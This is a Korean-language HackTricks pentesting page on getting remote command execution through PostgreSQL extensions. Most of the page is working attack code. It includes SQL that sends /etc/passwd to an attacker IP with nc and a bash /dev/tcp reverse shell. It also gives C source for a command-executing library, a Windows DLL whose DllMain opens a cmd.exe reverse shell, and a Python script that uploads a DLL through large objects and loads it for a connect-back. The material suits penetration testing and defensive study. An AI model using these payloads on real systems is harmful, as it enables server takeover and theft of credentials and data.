RCE with PostgreSQL Extensions

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

PostgreSQL Extensions

PostgreSQLλŠ” ν™•μž₯성을 핡심 κΈ°λŠ₯으둜 κ°œλ°œν•˜μ—¬, ν™•μž₯을 마치 λ‚΄μž₯ κΈ°λŠ₯처럼 μ›ν™œν•˜κ²Œ 톡합할 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ ν™•μž₯은 본질적으둜 C둜 μž‘μ„±λœ 라이브러리둜, λ°μ΄ν„°λ² μ΄μŠ€μ— μΆ”κ°€ κΈ°λŠ₯, μ—°μ‚°μž λ˜λŠ” μœ ν˜•μ„ ν’λΆ€ν•˜κ²Œ ν•©λ‹ˆλ‹€.

8.1 λ²„μ „λΆ€ν„°λŠ” ν™•μž₯ λΌμ΄λΈŒλŸ¬λ¦¬μ— νŠΉμ • μš”κ΅¬ 사항이 λΆ€κ³Όλ©λ‹ˆλ‹€: νŠΉλ³„ν•œ ν—€λ”λ‘œ μ»΄νŒŒμΌλ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ PostgreSQL은 이λ₯Ό μ‹€ν–‰ν•˜μ§€ μ•ŠμœΌλ©°, ν˜Έν™˜ κ°€λŠ₯ν•˜κ³  잠재적으둜 μ•ˆμ „ν•œ ν™•μž₯만 μ‚¬μš©λ˜λ„λ‘ 보μž₯ν•©λ‹ˆλ‹€.

λ˜ν•œ, PostgreSQL을 μ•…μš©ν•˜μ—¬ ν”Όν•΄μžμ—κ²Œ νŒŒμΌμ„ μ—…λ‘œλ“œν•˜λŠ” 방법을 λͺ¨λ₯Έλ‹€λ©΄ 이 κ²Œμ‹œλ¬Όμ„ 읽어야 ν•©λ‹ˆλ‹€. upload files to the victim abusing PostgreSQL you should read this post.

RCE in Linux

μžμ„Έν•œ μ •λ³΄λŠ” λ‹€μŒμ„ ν™•μΈν•˜μ„Έμš”: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1 및 이전 λ²„μ „μ—μ„œ μ‹œμŠ€ν…œ λͺ…령을 μ‹€ν–‰ν•˜λŠ” 것은 λͺ…ν™•ν•˜κ²Œ λ¬Έμ„œν™”λ˜μ–΄ 있으며 κ°„λ‹¨ν•œ ν”„λ‘œμ„ΈμŠ€μž…λ‹ˆλ‹€. 이λ₯Ό μ‚¬μš©ν•˜μ—¬: Metasploit module μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Write binary file from base64

Postgres에 이진 νŒŒμΌμ„ μ“°λ €λ©΄ base64λ₯Ό μ‚¬μš©ν•΄μ•Ό ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 이 λ¬Έμ œμ— 도움이 될 κ²ƒμž…λ‹ˆλ‹€:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

κ·ΈλŸ¬λ‚˜ 더 높은 λ²„μ „μ—μ„œ μ‹œλ„ν–ˆμ„ λ•Œ λ‹€μŒ 였λ₯˜κ°€ ν‘œμ‹œλ˜μ—ˆμŠ΅λ‹ˆλ‹€:

ERROR:  incompatible library β€œ/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

이 였λ₯˜λŠ” PostgreSQL λ¬Έμ„œμ—μ„œ μ„€λͺ…λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€:

λ™μ μœΌλ‘œ λ‘œλ“œλœ 객체 파일이 ν˜Έν™˜λ˜μ§€ μ•ŠλŠ” μ„œλ²„μ— λ‘œλ“œλ˜μ§€ μ•Šλ„λ‘ PostgreSQL은 νŒŒμΌμ— μ μ ˆν•œ λ‚΄μš©μ΄ ν¬ν•¨λœ β€œλ§€μ§ λΈ”λ‘β€œμ΄ μžˆλŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€. 이λ₯Ό 톡해 μ„œλ²„λŠ” PostgreSQL의 λ‹€λ₯Έ μ£Όμš” λ²„μ „μš©μœΌλ‘œ 컴파일된 μ½”λ“œμ™€ 같은 λͺ…λ°±ν•œ λΉ„ν˜Έν™˜μ„±μ„ 감지할 수 μžˆμŠ΅λ‹ˆλ‹€. 맀직 블둝은 PostgreSQL 8.2λΆ€ν„° ν•„μš”ν•©λ‹ˆλ‹€. 맀직 블둝을 ν¬ν•¨ν•˜λ €λ©΄, 헀더 fmgr.hλ₯Ό ν¬ν•¨ν•œ ν›„ λͺ¨λ“ˆ μ†ŒμŠ€ 파일 쀑 ν•˜λ‚˜(그리고 단 ν•˜λ‚˜)에 λ‹€μŒμ„ μž‘μ„±ν•˜μ‹­μ‹œμ˜€:

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PostgreSQL 8.2 버전 μ΄ν›„λ‘œ κ³΅κ²©μžκ°€ μ‹œμŠ€ν…œμ„ μ•…μš©ν•˜λŠ” 과정이 더 μ–΄λ €μ›Œμ‘ŒμŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” μ‹œμŠ€ν…œμ— 이미 μ‘΄μž¬ν•˜λŠ” 라이브러리λ₯Ό μ‚¬μš©ν•˜κ±°λ‚˜ μ‚¬μš©μž μ •μ˜ 라이브러리λ₯Ό μ—…λ‘œλ“œν•΄μ•Ό ν•©λ‹ˆλ‹€. 이 μ‚¬μš©μž μ •μ˜ λΌμ΄λΈŒλŸ¬λ¦¬λŠ” ν˜Έν™˜λ˜λŠ” PostgreSQL의 μ£Όμš” 버전에 λŒ€ν•΄ μ»΄νŒŒμΌλ˜μ–΄μ•Ό ν•˜λ©° νŠΉμ • β€œλ§€μ§ λΈ”λ‘β€œμ„ 포함해야 ν•©λ‹ˆλ‹€. 이 μ‘°μΉ˜λŠ” PostgreSQL μ‹œμŠ€ν…œμ„ μ•…μš©ν•˜λŠ” λ‚œμ΄λ„λ₯Ό 크게 μ¦κ°€μ‹œν‚€λ©°, μ‹œμŠ€ν…œμ˜ μ•„ν‚€ν…μ²˜μ™€ 버전 ν˜Έν™˜μ„±μ— λŒ€ν•œ 더 κΉŠμ€ 이해λ₯Ό ν•„μš”λ‘œ ν•©λ‹ˆλ‹€.

라이브러리 컴파일

λ‹€μŒ λͺ…λ Ήμ–΄λ‘œ PostgreSQL 버전을 κ°€μ Έμ˜΅λ‹ˆλ‹€:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

ν˜Έν™˜μ„±μ„ μœ„ν•΄ μ£Όμš” 버전이 μΌμΉ˜ν•˜λŠ” 것이 ν•„μˆ˜μ μž…λ‹ˆλ‹€. λ”°λΌμ„œ 9.6.x μ‹œλ¦¬μ¦ˆ λ‚΄μ˜ μ–΄λ–€ λ²„μ „μœΌλ‘œ 라이브러리λ₯Ό μ»΄νŒŒμΌν•˜λ”λΌλ„ 성곡적인 톡합을 보μž₯ν•΄μ•Ό ν•©λ‹ˆλ‹€.

ν•΄λ‹Ή 버전을 μ‹œμŠ€ν…œμ— μ„€μΉ˜ν•˜λ €λ©΄:

apt install postgresql postgresql-server-dev-9.6

라이브러리λ₯Ό μ»΄νŒŒμΌν•©λ‹ˆλ‹€:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

그런 λ‹€μŒ 컴파일된 라이브러리λ₯Ό μ—…λ‘œλ“œν•˜κ³  λ‹€μŒκ³Ό 같이 λͺ…령을 μ‹€ν–‰ν•©λ‹ˆλ‹€:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

λ‹€μŒ λΌμ΄λΈŒλŸ¬λ¦¬λŠ” 미리 컴파일된 μ—¬λŸ¬ PostgreSQL λ²„μ „μ—μ„œ 찾을 수 있으며, 이 ν”„λ‘œμ„ΈμŠ€λ₯Ό μžλ™ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€ (PostgreSQL μ ‘κ·Ό κΆŒν•œμ΄ μžˆλŠ” 경우) λ‹€μŒκ³Ό ν•¨κ»˜:

GitHub - dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL service

Windowsμ—μ„œ RCE

λ‹€μŒ DLL은 이진 파일의 이름과 μ‹€ν–‰ν•  횟수λ₯Ό μž…λ ₯으둜 λ°›μ•„ μ‹€ν–‰ν•©λ‹ˆλ‹€:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

λ‹€μŒ ZIP νŒŒμΌμ—μ„œ 컴파일된 DLL을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:

이 DLL에 μ‹€ν–‰ν•  λ°”μ΄λ„ˆλ¦¬μ™€ μ‹€ν–‰ν•  횟수λ₯Ό μ§€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 μ˜ˆμ œμ—μ„œλŠ” calc.exeλ₯Ό 2번 μ‹€ν–‰ν•©λ‹ˆλ‹€:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

μ—¬κΈ° μ—μ„œ 이 λ¦¬λ²„μŠ€ 셸을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

이 경우 μ•…μ„± μ½”λ“œλŠ” DllMain ν•¨μˆ˜ μ•ˆμ— μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 이 경우 postgresqlμ—μ„œ λ‘œλ“œλœ ν•¨μˆ˜λ₯Ό μ‹€ν–‰ν•  ν•„μš”κ°€ μ—†μœΌλ©°, 단지 DLL을 λ‘œλ“œν•˜λŠ” κ²ƒλ§ŒμœΌλ‘œ λ¦¬λ²„μŠ€ 셸이 μ‹€ν–‰λ©λ‹ˆλ‹€:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

PolyUDF ν”„λ‘œμ νŠΈλŠ” 전체 MS Visual Studio ν”„λ‘œμ νŠΈμ™€ μ‚¬μš© μ€€λΉ„κ°€ μ™„λ£Œλœ 라이브러리(command eval, exec 및 cleanup 포함)와 닀쀑 버전 지원을 μ œκ³΅ν•˜λŠ” 쒋은 μΆœλ°œμ μž…λ‹ˆλ‹€.

μ΅œμ‹  PostgreSQL λ²„μ „μ—μ„œμ˜ RCE

μ΅œμ‹  λ²„μ „μ˜ PostgreSQLμ—μ„œλŠ” superuserκ°€ νŠΉμ • 디렉토리(예: Windows의 C:\Program Files\PostgreSQL\11\lib λ˜λŠ” *nix μ‹œμŠ€ν…œμ˜ /var/lib/postgresql/11/lib)μ—μ„œλ§Œ 곡유 라이브러리 νŒŒμΌμ„ λ‘œλ“œν•˜λŠ” 것이 κΈˆμ§€λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ””λ ‰ν† λ¦¬λŠ” NETWORK_SERVICE λ˜λŠ” postgres 계정에 μ˜ν•΄ μ“°κΈ° μž‘μ—…μ΄ λ³΄ν˜Έλ©λ‹ˆλ‹€.

μ΄λŸ¬ν•œ μ œν•œμ—λ„ λΆˆκ΅¬ν•˜κ³  인증된 λ°μ΄ν„°λ² μ΄μŠ€ superuserλŠ” β€œλŒ€μš©λŸ‰ κ°μ²΄β€œλ₯Ό μ‚¬μš©ν•˜μ—¬ 파일 μ‹œμŠ€ν…œμ— λ°”μ΄λ„ˆλ¦¬ νŒŒμΌμ„ μ“°λŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€. 이 κΈ°λŠ₯은 λ°μ΄ν„°λ² μ΄μŠ€ μž‘μ—…(예: ν…Œμ΄λΈ” μ—…λ°μ΄νŠΈ λ˜λŠ” 생성)에 ν•„μˆ˜μ μΈ C:\Program Files\PostgreSQL\11\data 디렉토리 λ‚΄μ—μ„œμ˜ μ“°κΈ°λ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€.

μ€‘μš”ν•œ 취약점은 CREATE FUNCTION λͺ…λ Ήμ—μ„œ λ°œμƒν•˜λ©°, μ΄λŠ” 데이터 λ””λ ‰ν† λ¦¬λ‘œμ˜ 디렉토리 탐색을 ν—ˆμš©ν•©λ‹ˆλ‹€. λ”°λΌμ„œ 인증된 κ³΅κ²©μžλŠ” 이 탐색을 μ•…μš©ν•˜μ—¬ 데이터 디렉토리에 곡유 라이브러리 νŒŒμΌμ„ μ“°κ³  이λ₯Ό λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 μ•…μš©μ€ κ³΅κ²©μžκ°€ μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 있게 ν•˜μ—¬ μ‹œμŠ€ν…œμ—μ„œ λ„€μ΄ν‹°λΈŒ μ½”λ“œ 싀행을 λ‹¬μ„±ν•˜κ²Œ ν•©λ‹ˆλ‹€.

곡격 흐름

μš°μ„  λŒ€μš©λŸ‰ 객체λ₯Ό μ‚¬μš©ν•˜μ—¬ dll을 μ—…λ‘œλ“œν•΄μ•Ό ν•©λ‹ˆλ‹€. 이λ₯Ό μˆ˜ν–‰ν•˜λŠ” 방법은 λ‹€μŒμ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€:

Big Binary Files Upload (PostgreSQL)

데이터 디렉토리에 ν™•μž₯자(poc.dll μ΄λ¦„μœΌλ‘œ 이 μ˜ˆμ œμ—μ„œ)λ₯Ό μ—…λ‘œλ“œν•œ ν›„μ—λŠ” λ‹€μŒκ³Ό 같이 λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

λ‹€μŒκ³Ό 같이 .dll ν™•μž₯자λ₯Ό μΆ”κ°€ν•  ν•„μš”κ°€ μ—†μœΌλ©°, create function이 이λ₯Ό μΆ”κ°€ν•©λ‹ˆλ‹€.

μžμ„Έν•œ λ‚΄μš©μ€ 원본 κ²Œμ‹œλ¬Όμ„ μ—¬κΈ°μ—μ„œ μ½μ–΄λ³΄μ„Έμš”.
ν•΄λ‹Ή κ²Œμ‹œλ¬Όμ—μ„œλŠ” postgres ν™•μž₯을 μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λœ μ½”λ“œ (postgres ν™•μž₯을 μ»΄νŒŒμΌν•˜λŠ” 방법을 배우렀면 이전 버전 쀑 ν•˜λ‚˜λ₯Ό μ½μ–΄λ³΄μ„Έμš”)κ°€ μ œκ³΅λ˜μ—ˆμŠ΅λ‹ˆλ‹€.
같은 νŽ˜μ΄μ§€μ—μ„œ 이 κΈ°μˆ μ„ μžλ™ν™”ν•˜λŠ” μ΅μŠ€ν”Œλ‘œμž‡μ΄ μ œκ³΅λ˜μ—ˆμŠ΅λ‹ˆλ‹€:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°